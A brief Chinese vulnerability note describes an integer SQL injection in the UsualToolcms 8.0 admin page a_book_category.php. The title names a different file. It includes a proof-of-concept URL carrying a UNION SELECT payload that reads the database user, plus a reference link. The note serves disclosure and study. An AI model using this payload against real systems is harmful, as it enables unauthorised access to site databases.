UsualToolcms 8.0 a_users_level.php 后台int型注入

一、漏洞简介

后台a_book_category.php int型注入

二、漏洞影响

UsualToolcms 8.0

三、复现过程

该php文件下另外一个触发点：

poc

http://www.0-sec.org/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23

参考链接

https://xz.aliyun.com/t/8100